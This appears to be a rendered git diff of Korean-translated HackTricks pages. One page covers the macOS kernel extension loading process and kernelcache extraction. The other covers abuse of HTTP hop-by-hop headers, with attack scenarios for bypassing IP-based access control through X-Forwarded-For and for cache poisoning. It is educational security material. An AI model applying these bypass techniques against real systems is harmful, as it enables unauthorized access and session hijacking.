<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* 커널 확장은 **커널 코드 서명 인증서로 서명되어야 하며**, 이는 **Apple에 의해 부여될 수 있습니다**. 누가 회사와 그 필요성을 자세히 검토할 것입니다.
|
* 커널 확장은 **커널 코드 서명 인증서로 서명되어야 하며**, 이는 **Apple에 의해 부여될 수 있습니다**. 누가 회사와 그 필요성에 대해 자세히 검토할 것입니다.
|
||||||
* 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다.
|
* 커널 확장은 또한 **노타리제이션**을 받아야 하며, Apple은 이를 통해 악성 소프트웨어를 확인할 수 있습니다.
|
||||||
* 그런 다음, **root** 사용자만이 **커널 확장을 로드할 수 있으며** 패키지 내의 파일은 **root에 속해야 합니다**.
|
* 그런 다음, **root** 사용자가 **커널 확장을 로드할 수 있으며**, 패키지 내의 파일은 **root에 속해야 합니다**.
|
||||||
* 업로드 과정 중에 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
|
* 업로드 과정에서 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
|
||||||
* 마지막으로, 로드하려고 할 때 사용자는 [**확인 요청을 받게 됩니다**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 그리고, 수락되면 컴퓨터는 **재시작**되어야 합니다.
|
* 마지막으로, 로드하려고 할 때 사용자는 [**확인 요청을 받게 됩니다**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 그리고, 수락되면 컴퓨터는 **재시작**되어야 합니다.
|
||||||
|
|
||||||
### Loading process
|
### Loading process
|
||||||
|
|
||||||
카탈리나에서는 이렇게 진행되었습니다: **검증** 과정이 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청할 수 있습니다**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
카탈리나에서는 이렇게 진행되었습니다: **검증** 과정이 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청할 수 있습니다**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||||
|
|
||||||
1. **`kextutil`** CLI가 **확장을 로드하기 위한 검증** 과정을 **시작합니다**
|
1. **`kextutil`** cli **가** 확장을 로드하기 위한 **검증** 과정을 **시작합니다**
|
||||||
* **`kextd`**와 **Mach 서비스**를 사용하여 통신합니다.
|
* **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다.
|
||||||
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
|
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
|
||||||
* **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인합니다**.
|
* **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인합니다.
|
||||||
3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다.
|
3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다.
|
||||||
* **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다.
|
* **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다.
|
||||||
4. **`kextd`**는 마지막으로 **커널에 확장을 로드하라고 지시할 수 있습니다**.
|
4. **`kextd`**는 결국 **커널에 확장을 로드하라고 지시할 수 있습니다.**
|
||||||
|
|
||||||
**`kextd`**가 사용 불가능한 경우, **`kextutil`**이 동일한 검사를 수행할 수 있습니다.
|
만약 **`kextd`**가 사용 불가능하다면, **`kextutil`**이 동일한 검사를 수행할 수 있습니다.
|
||||||
|
|
||||||
### Enumeration (loaded kexts)
|
### Enumeration (loaded kexts)
|
||||||
```bash
|
```bash
|
||||||
|
@ -107,7 +107,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||||
```
|
```
|
||||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||||
|
|
||||||
가끔 Apple은 **kernelcache**와 함께 **symbols**를 출시합니다. 해당 페이지의 링크를 따라가면 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다.
|
가끔 Apple은 **kernelcache**와 **symbols**를 함께 배포합니다. 해당 페이지의 링크를 따라가면 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다.
|
||||||
|
|
||||||
파일을 **추출**하려면 `.ipsw` 확장자를 `.zip`으로 변경한 후 **압축을 풉니다**.
|
파일을 **추출**하려면 `.ipsw` 확장자를 `.zip`으로 변경한 후 **압축을 풉니다**.
|
||||||
|
|
||||||
|
@ -144,22 +144,26 @@ kextex_all kernelcache.release.iphone14.e
|
||||||
# Check the extension for symbols
|
# Check the extension for symbols
|
||||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||||
```
|
```
|
||||||
## 참조
|
## 디버깅
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 참고문헌
|
||||||
|
|
||||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# hop-by-hop headers
|
# hop-by-hop headers
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,38 +15,58 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**이것은 [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) 게시물의 요약입니다.**
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Hop-by-hop 헤더는 단일 전송 수준 연결에 특정하며, 주로 HTTP/1.1에서 두 노드(클라이언트-프록시 또는 프록시-프록시) 간의 데이터 관리를 위해 사용되며, 전달될 의도가 아닙니다. 표준 hop-by-hop 헤더에는 `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, 및 `Proxy-Authenticate`가 포함되며, 이는 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)에서 정의됩니다. 추가 헤더는 `Connection` 헤더를 통해 hop-by-hop으로 지정될 수 있습니다.
|
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||||
|
|
||||||
### Hop-by-Hop 헤더 남용
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
프록시가 hop-by-hop 헤더를 부적절하게 관리하면 보안 문제가 발생할 수 있습니다. 프록시는 이러한 헤더를 제거해야 하지만, 모든 프록시가 그렇게 하지 않기 때문에 잠재적인 취약점이 생길 수 있습니다.
|
|
||||||
|
***
|
||||||
|
|
||||||
|
**이것은 게시물의 요약입니다** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
|
||||||
|
|
||||||
|
Hop-by-hop 헤더는 단일 전송 수준 연결에 특정하며, 주로 HTTP/1.1에서 두 노드(클라이언트-프록시 또는 프록시-프록시) 간의 데이터 관리를 위해 사용되며, 전달될 의도가 없습니다. 표준 hop-by-hop 헤더에는 `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, `Proxy-Authenticate`가 포함되며, 이는 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)에서 정의됩니다. 추가 헤더는 `Connection` 헤더를 통해 hop-by-hop으로 지정될 수 있습니다.
|
||||||
|
|
||||||
|
### Hop-by-Hop 헤더 악용하기
|
||||||
|
|
||||||
|
프록시가 hop-by-hop 헤더를 부적절하게 관리하면 보안 문제가 발생할 수 있습니다. 프록시가 이러한 헤더를 제거해야 하지만, 모든 프록시가 그렇게 하지 않기 때문에 잠재적인 취약점이 생길 수 있습니다.
|
||||||
|
|
||||||
|
### Hop-by-Hop 헤더 처리 테스트하기
|
||||||
|
|
||||||
### Hop-by-Hop 헤더 처리 테스트
|
|
||||||
특정 헤더가 hop-by-hop으로 표시될 때 서버 응답의 변화를 관찰하여 hop-by-hop 헤더의 처리를 테스트할 수 있습니다. 도구와 스크립트를 사용하여 이 과정을 자동화하고, 프록시가 이러한 헤더를 어떻게 관리하는지 식별하며, 잘못된 구성이나 프록시 동작을 발견할 수 있습니다.
|
특정 헤더가 hop-by-hop으로 표시될 때 서버 응답의 변화를 관찰하여 hop-by-hop 헤더의 처리를 테스트할 수 있습니다. 도구와 스크립트를 사용하여 이 과정을 자동화하고, 프록시가 이러한 헤더를 어떻게 관리하는지 식별하며, 잘못된 구성이나 프록시 동작을 발견할 수 있습니다.
|
||||||
|
|
||||||
Hop-by-hop 헤더를 남용하면 다양한 보안 문제를 초래할 수 있습니다. 아래는 이러한 헤더가 잠재적인 공격을 위해 어떻게 조작될 수 있는지를 보여주는 몇 가지 예입니다:
|
Hop-by-hop 헤더를 악용하면 다양한 보안 문제를 초래할 수 있습니다. 아래는 이러한 헤더가 잠재적인 공격을 위해 어떻게 조작될 수 있는지를 보여주는 몇 가지 예입니다:
|
||||||
|
|
||||||
### `X-Forwarded-For`로 보안 제어 우회
|
### `X-Forwarded-For`로 보안 제어 우회하기
|
||||||
공격자는 `X-Forwarded-For` 헤더를 조작하여 IP 기반 접근 제어를 우회할 수 있습니다. 이 헤더는 종종 프록시가 클라이언트의 원래 IP 주소를 추적하는 데 사용됩니다. 그러나 프록시가 이 헤더를 hop-by-hop으로 처리하고 적절한 검증 없이 전달하면, 공격자는 자신의 IP 주소를 스푸핑할 수 있습니다.
|
|
||||||
|
공격자는 `X-Forwarded-For` 헤더를 조작하여 IP 기반 접근 제어를 우회할 수 있습니다. 이 헤더는 종종 프록시가 클라이언트의 원래 IP 주소를 추적하는 데 사용됩니다. 그러나 프록시가 이 헤더를 hop-by-hop으로 처리하고 적절한 검증 없이 전달하면 공격자는 자신의 IP 주소를 스푸핑할 수 있습니다.
|
||||||
|
|
||||||
**공격 시나리오:**
|
**공격 시나리오:**
|
||||||
|
|
||||||
1. 공격자는 프록시 뒤에 있는 웹 애플리케이션에 HTTP 요청을 보내며, `X-Forwarded-For` 헤더에 가짜 IP 주소를 포함합니다.
|
1. 공격자는 프록시 뒤에 있는 웹 애플리케이션에 HTTP 요청을 보내며, `X-Forwarded-For` 헤더에 가짜 IP 주소를 포함합니다.
|
||||||
2. 공격자는 또한 `Connection: close, X-Forwarded-For` 헤더를 포함하여 프록시가 `X-Forwarded-For`를 hop-by-hop으로 처리하도록 유도합니다.
|
2. 공격자는 `Connection: close, X-Forwarded-For` 헤더도 포함하여 프록시가 `X-Forwarded-For`를 hop-by-hop으로 처리하도록 유도합니다.
|
||||||
3. 잘못 구성된 프록시는 스푸핑된 `X-Forwarded-For` 헤더 없이 요청을 웹 애플리케이션에 전달합니다.
|
3. 잘못 구성된 프록시는 스푸핑된 `X-Forwarded-For` 헤더 없이 요청을 웹 애플리케이션에 전달합니다.
|
||||||
4. 웹 애플리케이션은 원래의 `X-Forwarded-For` 헤더를 보지 못하므로 요청이 신뢰할 수 있는 프록시에서 직접 온 것으로 간주하여, 무단 접근을 허용할 수 있습니다.
|
4. 웹 애플리케이션은 원래의 `X-Forwarded-For` 헤더를 보지 못하므로 요청이 신뢰할 수 있는 프록시에서 직접 온 것으로 간주하여 무단 접근을 허용할 수 있습니다.
|
||||||
|
|
||||||
### Hop-by-Hop 헤더 주입을 통한 캐시 오염
|
### Hop-by-Hop 헤더 주입을 통한 캐시 오염
|
||||||
캐시 서버가 hop-by-hop 헤더를 기반으로 콘텐츠를 잘못 캐시하면, 공격자는 악성 헤더를 주입하여 캐시를 오염시킬 수 있습니다. 이는 동일한 리소스를 요청하는 사용자에게 잘못되거나 악성 콘텐츠를 제공하게 됩니다.
|
|
||||||
|
캐시 서버가 hop-by-hop 헤더를 기반으로 콘텐츠를 잘못 캐시하면, 공격자는 악성 헤더를 주입하여 캐시를 오염시킬 수 있습니다. 이는 동일한 리소스를 요청하는 사용자에게 잘못된 또는 악성 콘텐츠를 제공하게 됩니다.
|
||||||
|
|
||||||
**공격 시나리오:**
|
**공격 시나리오:**
|
||||||
1. 공격자는 캐시되지 않아야 하는 hop-by-hop 헤더(예: `Connection: close, Cookie`)가 포함된 요청을 웹 애플리케이션에 보냅니다.
|
|
||||||
|
1. 공격자는 캐시되지 않아야 하는 hop-by-hop 헤더(예: `Connection: close, Cookie`)를 포함하여 웹 애플리케이션에 요청을 보냅니다.
|
||||||
2. 잘못 구성된 캐시 서버는 hop-by-hop 헤더를 제거하지 않고 공격자의 세션에 특정한 응답을 캐시합니다.
|
2. 잘못 구성된 캐시 서버는 hop-by-hop 헤더를 제거하지 않고 공격자의 세션에 특정한 응답을 캐시합니다.
|
||||||
3. 동일한 리소스를 요청하는 미래의 사용자들은 공격자를 위해 조정된 캐시된 응답을 받게 되어, 세션 하이재킹이나 민감한 정보 노출로 이어질 수 있습니다.
|
3. 동일한 리소스를 요청하는 미래의 사용자들은 공격자를 위해 조정된 캐시된 응답을 받게 되어, 세션 하이재킹이나 민감한 정보 노출로 이어질 수 있습니다.
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue